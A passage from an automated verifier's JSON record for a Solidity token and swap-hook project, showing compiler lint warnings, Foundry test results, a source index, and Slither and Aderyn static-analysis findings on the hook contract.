╭▸ src/NUKEHook.sol:266:17\n    │\n266 │             if (newStart > boundary) o.meanTick = o.tick;\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:258:27\n    │\n258 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:258:50\n    │\n258 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:260:69\n    │\n260 │             int256 integral = int256(o.integral) + int256(o.tick) * int256(boundary - o.observedAt);\n    │                                                                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:261:38\n    │\n261 │             int256 mean = integral / int256(BATCH_INTERVAL);\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:263:44\n    │\n263 │             if (integral < 0 && integral % int256(BATCH_INTERVAL) != 0) --mean;\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:264:26\n    │\n264 │             o.meanTick = int24(mean);\n    │                          ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:267:28\n    │\n267 │             o.epochStart = uint64(newStart);\n    │                            ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:268:26\n    │\n268 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:268:49\n    │\n268 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:270:24\n    │\n270 │         o.observedAt = uint64(block.timestamp);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":1684,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 378.82µs (0.00ns CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 361679, ~: 362708)\nLogs:\n  Bound result 46514264337593543150050\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1116288, ~: 1114477)\nLogs:\n  Bound result 1756\n  Bound result 2785\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 666930)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 464447)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1244117)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 11769475)\n[PASS] test_dustFeeRoundsDown() (gas: 355274)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 762571)\n[PASS] test_exactInputBuy() (gas: 355072)\n[PASS] test_exactInputSell() (gas: 360118)\n[PASS] test_exactOutputBuy() (gas: 355404)\n[PASS] test_exactOutputSell() (gas: 359572)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 31919221)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 795140)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 32096000)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 689556)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 322637)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 13131709)\n[PASS] test_partialExactInputBuy() (gas: 355647)\n[PASS] test_partialExactInputSell() (gas: 361116)\n[PASS] test_partialExactOutputBuy() (gas: 354525)\n[PASS] test_partialExactOutputSell() (gas: 359894)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 685328)\n[PASS] test_permissionsAndDeployment() (gas: 1901781)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 28086)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 408251)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 194.44ms (435.28ms CPU time)\n\nRan 5 tests for test/NUKE.t.sol:NUKETest\n[PASS] testFuzz_conservation(uint256) (runs: 1000, μ: 86029, ~: 86513)\nLogs:\n  Bound result 19748858128\n\n[PASS] test_entireFixedSupplyBelongsToDeployer() (gas: 44027)\n[PASS] test_factoryCanTransferAllAllocationsWithoutTax() (gas: 140535)\n[PASS] test_noAdministrativeSupplyMutation() (gas: 170405)\n[PASS] test_transferFailuresAndAllowance() (gas: 204623)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 194.53ms (194.92ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookReverseOrderTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 366643, ~: 364564)\nLogs:\n  Bound result 99999000004190668453695\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1131298, ~: 1133148)\nLogs:\n  Bound result 2161\n  Bound result 3372\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 672543)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 470188)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1249615)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 3318219)\n[PASS] test_dustFeeRoundsDown() (gas: 369128)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 774098)\n[PASS] test_exactInputBuy() (gas: 365837)\n[PASS] test_exactInputSell() (gas: 359353)\n[PASS] test_exactOutputBuy() (gas: 364733)\n[PASS] test_exactOutputSell() (gas: 360243)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 10499678)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 810997)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 10668559)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 707267)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 327889)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 5503507)\n[PASS] test_partialExactInputBuy() (gas: 366112)\n[PASS] test_partialExactInputSell() (gas: 360651)\n[PASS] test_partialExactOutputBuy() (gas: 364686)\n[PASS] test_partialExactOutputSell() (gas: 359726)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 696093)\n[PASS] test_permissionsAndDeployment() (gas: 1901781)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 28168)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 418076)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 194.55ms (442.29ms CPU time)\n\nRan 1 test for test/Conservation.t.sol:ConservationTest\n[PASS] invariant_feesAreConservedAndNoDebtRemains() (runs: 128, calls: 8192, reverts: 0)\n\n╭---------------------+-----------------+-------+---------+----------╮\n| Contract            | Selector        | Calls | Reverts | Discards |\n+====================================================================+\n| ConservationHandler | advanceAndBatch | 2655  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | swap            | 2816  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | sweep           | 2721  | 0       | 0        |\n╰---------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 4089\n  Bound result 499999999999900001280\n  Bound result 3602\n  Bound result 1854087058495535\n  Bound result 4787\n  Bound result 3717\n  Bound result 3661\n  Bound result 3621\n  Bound result 100000000\n  Bound result 292123830631120031056\n  Bound result 5314\n  Bound result 3970\n  Bound result 499999999999900006646\n  Bound result 3724\n  Bound result 187546652351902281366\n  Bound result 3602\n  Bound result 5564\n  Bound result 3630\n  Bound result 1033030874511\n  Bound result 499999999999900014676\n  Bound result 3605\n  Bound result 7200\n  Bound result 499999999999900034441\n  Bound result 3619\n  Bound result 4798\n  Bound result 3612\n  Bound result 499999999999915272763\n  Bound result 499999999999900016871\n  Bound result 3648\n  Bound result 3829\n  Bound result 499999999999900014469\n  Bound result 3857\n  Bound result 499999999999900003726\n  Bound result 3602\n  Bound result 4494\n  Bound result 499999999999900014319\n  Bound result 39329115349555130737\n  Bound result 3701\n  Bound result 5812\n  Bound result 3901\n  Bound result 42176143443132304080\n  Bound result 499999999999900058686\n  Bound result 28142141643097\n  Bound result 6831\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.59s (1.56s CPU time)\n\nRan 5 test suites in 1.59s (2.17s CPU time): 66 tests passed, 0 failed, 1 skipped (67 total tests)\n","passed":true},{"durationMs":51,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NUKE.approve(address,uint256)\",\"NUKE.transfer(address,uint256)\",\"NUKE.transferFrom(address,address,uint256)\",\"NUKEHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"NUKEHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"NUKEHook.executeBatch()\",\"NUKEHook.sweep()\",\"NUKEHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":3,\"README.md\":100,\"dependencies.json\":26,\"dependencies.sha256\":82,\"docs/SECURITY_REVIEW.md\":31,\"foundry.toml\":13,\"launch.json\":21,\"remappings.txt\":4,\"script/MineHook.s.sol\":28,\"src/NUKE.sol\":11,\"src/NUKEHook.sol\":272,\"test/Conservation.t.sol\":108,\"test/MainnetFork.t.sol\":48,\"test/NUKE.t.sol\":75,\"test/NUKEHook.t.sol\":360,\"test/helpers/HookFixture.sol\":138,\"test/helpers/PoolActor.sol\":66},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":2769,"exitCode":0,"name":"slither","output":"[high/medium] weak-prng at src/NUKEHook.sol:254: NUKEHook._projectOracle() (src/NUKEHook.sol#254-271) uses a weak PRNG: \"integral < 0 && integral % int256(BATCH_INTERVAL) != 0 (src/NUKEHook.sol#263)\"\n[medium/medium] divide-before-multiply at src/NUKEHook.sol:254: NUKEHook._projectOracle() (src/NUKEHook.sol#254-271) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/NUKEHook.sol:176: NUKEHook.batchPriceLimit() (src/NUKEHook.sol#176-184) uses a dangerous strict equality:\n[medium/medium] unused-return at src/NUKEHook.sol:246: NUKEHook._observe() (src/NUKEHook.sol#246-250) ignores return value by (None,next.tick,None,None) = poolManager.getSlot0(poolId) (src/NUKEHook.sol#248)\n[medium/medium] unused-return at src/NUKEHook.sol:196: NUKEHook.executeBatch() (src/NUKEHook.sol#196-212) ignores return value by (spot,None,None,None) = poolManager.getSlot0(poolId) (src/NUKEHook.sol#205)\n[medium/medium] unused-return at src/NUKEHook.sol:214: NUKEHook.unlockCallback(bytes) (src/NUKEHook.sol#214-244) ignores return value by poolManager.settle() (src/NUKEHook.sol#238)\n[low/medium] reentrancy-benign at src/NUKEHook.sol:196: Reentrancy in NUKEHook.executeBatch() (src/NUKEHook.sol#196-212):\n[low/medium] reentrancy-benign at src/NUKEHook.sol:214: Reentrancy in NUKEHook.unlockCallback(bytes) (src/NUKEHook.sol#214-244):\n[low/medium] reentrancy-benign at src/NUKEHook.sol:187: Reentrancy in NUKEHook.sweep() (src/NUKEHook.sol#187-192):\n[low/medium] reentrancy-events at src/NUKEHook.sol:137: Reentrancy in NUKEHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/NUKEHook.sol#137-156):\n[low/medium] reentrancy-events at src/NUKEHook.sol:187: Reentrancy in NUKEHook.sweep() (src/NUKEHook.sol#187-192):\n[low/medium] reentrancy-events at src/NUKEHook.sol:196: Reentrancy in NUKEHook.executeBatch() (src/NUKEHook.sol#196-212):\n[low/medium] timestamp at src/NUKEHook.sol:254: NUKEHook._projectOracle() (src/NUKEHook.sol#254-271) uses timestamp for comparisons\n[low/medium] timestamp at src/NUKEHook.sol:176: NUKEHook.batchPriceLimit() (src/NUKEHook.sol#176-184) uses timestamp for comparisons\n[low/medium] timestamp at src/NUKEHook.sol:196: NUKEHook.executeBatch() (src/NUKEHook.sol#196-212) uses timestamp for comparisons","passed":true},{"durationMs":459,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/NUKEHook.sol:189: Reentrancy: State change after external call (2 places)\n[high] unsafe-casting at src/NUKEHook.sol:264: Unsafe Casting of integers\n[low] large-numeric-literal at src/NUKE.sol:9: Large Numeric Literal (2 places)\n[low] state-change-without-event at src/NUKEHook.sol:110: State Change Without Event (2 places)\n[low] unchecked-return at src/NUKEHook.sol:238: Unchecked Return\n[low] unsafe-erc20-operation at src/NUKEHook.sol:223: Unsafe ERC20 Operation (2 places)\n[low] unused-public-function at src/NUKEHook.sol:164: Public Function Not Used Internally","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"39cddba63bbecb43b458f77a35b4f1d66dc79cbc3efe6ad21b6cf017808f1c2c","verifiedTreeHash":"f774f0b6cb1075a4cdb950ae2edf2241e1b18963","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":298773,"exitCode":0,"name":"build","output":"Compiling 87 files with Solc 0.8.26\nSolc 0.8.26 finished in 298.40s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/NUKEHook.sol:208:35\n    │\n208 │         if (need == 0) return (0, false);\n    │                                   ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/NUKEHook.sol:225:43\n    │\n225 │                     return (sqrtPriceX96, true);\n    │                                           ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/NUKEHook.sol:237:20\n    │\n237 │         return (0, false);\n    │                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-events-arithmetic]: `lastBatch` is changed without an event but is used in arithmetic\n    ╭▸ src/NUKEHook.sol:132:9\n    │\n132 │         lastBatch = block.timestamp;\n    │         ━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-arithmetic\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:130:25\n    │\n130 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:130:50\n    │\n130 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:144:42\n    │\n144 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:144:87\n    │\n144 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                                                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:145:25\n    │\n145 │         if (magnitude > uint256(type(int256).max) - magnitude / 100) revert UnrepresentableFee();\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:165:13\n    │\n165 │             emit FeeAccrued(currency, fee);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:161:23\n    │\n161 │         uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:167:44\n    │\n167 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:167:51\n    │\n167 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:253:16\n    │\n253 │         return uint160(limit);\n    │                ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:259:29\n    │\n259 │         burned = abi.decode(poolManager.unlock(\"\"), (uint256));\n    │                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:261:9\n    │\n261 │         emit Swept(burned);\n    │         ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-no-eth]: external call can be reentered before `lastBatch` is updated\n    ╭▸ src/NUKEHook.sol:278:13\n    │\n278 │         try poolManager.unlock(abi.encode(budget, limit)) returns (bytes memory result) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:268:13\n    │\n268 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:293:9\n    │\n293 │         emit BatchExecuted(budget, spent, burned, limit);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:22\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:30\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:67\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:75\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:283:39\n    │\n283 │             if (reason.length != 4 || bytes4(reason) != EmptyBatch.selector) {\n    │                                       ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:310:81\n    │\n310 │         BalanceDelta delta = poolManager.swap(poolKey(), SwapParams(!tokenIs0, -int256(budget), limit), \"\");\n    │                                                                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:311:25\n    │\n311 │         uint256 spent = uint256(-int256(tokenIs0 ? delta.amount1() : delta.amount0()));\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:312:26\n    │\n312 │         uint256 bought = uint256(int256(tokenIs0 ? delta.amount0() : delta.amount1()));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: 